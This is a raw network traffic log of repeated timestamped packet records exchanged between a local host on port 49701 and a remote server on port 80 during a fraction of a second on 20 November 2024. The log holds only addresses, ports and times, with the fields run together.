        Nov 20, 2024 09:14:47.481111050 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.481121063 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.481123924 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.481132984 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.481142998 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.481144905 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.481157064 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.481165886 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.481168032 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.481180906 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.481188059 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.481190920 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.481203079 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.481206894 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.481214046 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.481225014 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.481235027 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.481237888 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.481245995 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.481275082 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.481293917 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.570122004 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.570149899 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.570161104 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.570173025 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.570179939 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.570194006 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.570194006 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.570219040 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.570229053 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.570236921 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.570271969 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.570327997 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.570339918 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.570349932 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.570372105 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.570396900 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.570398092 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.570410967 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.570422888 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.570431948 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.570444107 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.570444107 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.570445061 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.570453882 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.570461988 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.570466042 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.570475101 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.570491076 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.570648909 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.570694923 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.570734024 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.570744991 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.570801973 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.570822001 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.570832968 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.570844889 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.570862055 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.570869923 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.570883036 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.570888996 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.570909023 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.570924997 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.570941925 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.571001053 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571012974 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571038008 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.571063995 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.571072102 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571083069 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571093082 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571104050 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571105003 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.571115971 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571132898 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.571170092 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.571207047 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571223974 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571234941 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571244955 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571250916 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.571255922 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571271896 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571291924 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.571310997 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.571402073 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571412086 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571422100 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571433067 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571444035 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571450949 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.571455002 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571469069 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571471930 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.571480989 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571485043 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.571492910 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571505070 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571516991 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.571517944 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571544886 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.571547985 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571558952 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571563959 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.571592093 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.571650028 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571660995 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571671009 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571681976 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571686983 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.571693897 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571717024 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.571748018 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.571779013 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571791887 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571803093 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571813107 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571825027 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571827888 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.571856022 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.571882963 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.571944952 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571955919 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571966887 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571975946 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571991920 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571996927 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.571999073 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.572007895 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.572011948 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.572026014 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.572051048 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.572073936 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.572081089 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.572092056 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.572103024 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.572118044 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.572120905 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.572134018 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.572144032 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.572146893 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.572155952 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.572177887 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.572196960 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.572321892 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.572367907 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.572369099 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.572382927 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.572413921 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.572432041 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.572457075 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.572468042 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.572478056 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.572493076 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.572520018 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.572551012 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.572561026 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.572571993 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.572582960 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.572587967 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.572592974 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.572604895 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.572627068 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.572659016 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.572662115 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.572671890 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.572701931 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.572736025 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.572792053 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.572832108 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.572838068 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.572849989 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.572875977 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.572901011 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.572922945 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.572933912 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.572945118 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.572956085 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.572961092 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.573060989 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.573091984 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.573103905 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.573115110 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.573124886 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.573143005 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.573148012 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.573158979 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.573163033 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.573175907 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.573189020 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.573208094 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.573215961 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.573220015 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.573230982 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.573241949 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.573244095 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.573271990 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.573386908 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.573399067 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.573409081 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.573420048 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.573426008 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.573431969 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.573443890 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.573446035 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.573482037 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.658868074 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.658886909 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.658899069 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.658912897 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.658925056 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.658934116 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.658947945 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.658952951 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.658956051 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.658962965 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.658968925 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.658974886 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.658986092 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.658993959 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.659013987 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.659043074 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.659125090 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.659137964 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.659149885 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.659190893 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.659204960 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.659279108 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.659291029 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.659301996 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.659322977 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.659331083 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.659343004 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.659367085 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.659440041 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.659452915 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.659463882 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.659475088 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.659486055 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.659487963 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.659497023 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.659507990 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.659518957 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.659519911 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.659533024 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.659538984 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.659547091 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.659569025 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.659594059 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.659786940 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.659799099 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.659842968 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.659950018 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.659964085 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.659997940 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.660031080 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.660212994 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.660223961 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.660235882 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.660245895 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.660258055 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.660258055 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.660274029 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.660314083 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.660521984 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.660531998 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.660545111 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.660556078 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.660567045 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.660573006 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.660582066 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.660605907 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.660619020 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.660691977 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.660702944 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.660713911 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.660725117 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.660729885 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.660737991 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.660761118 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.660788059 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.660830975 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.660842896 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.660854101 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.660875082 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.660902023 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.661021948 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.661035061 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.661058903 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.661072016 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.661185026 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.661195993 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.661206961 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.661220074 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.661231041 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.661232948 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.661242962 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.661253929 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.661267042 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.661273956 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.661277056 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.661299944 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.661325932 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.661333084 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.661345005 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.661355019 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.661374092 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.661407948 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.661725998 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.661736012 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.661765099 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.661787033 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.661894083 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.661906958 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.661917925 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.661928892 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.661938906 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.661948919 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.661950111 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.661962032 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.661978006 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.662012100 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.662066936 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.662085056 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.662096024 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.662107944 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.662113905 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.662118912 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.662132978 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.662143946 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.662151098 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.662182093 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.662514925 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.662528992 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.662579060 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.662672997 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.662684917 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.662695885 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.662707090 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.662722111 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.662749052 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.662826061 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.662837982 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.662848949 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.662870884 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.662898064 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.663291931 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.663304090 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.663321972 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.663335085 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.663338900 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.663347960 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.663360119 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.663364887 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.663429976 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.663433075 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.663469076 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.663635969 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.663647890 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.663660049 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.663670063 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.663681030 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.663683891 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.663693905 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.663705111 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.663712978 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.663717031 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.663726091 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.663729906 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.663743019 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.663765907 CET4970180192.168.2.1142.193.100.57
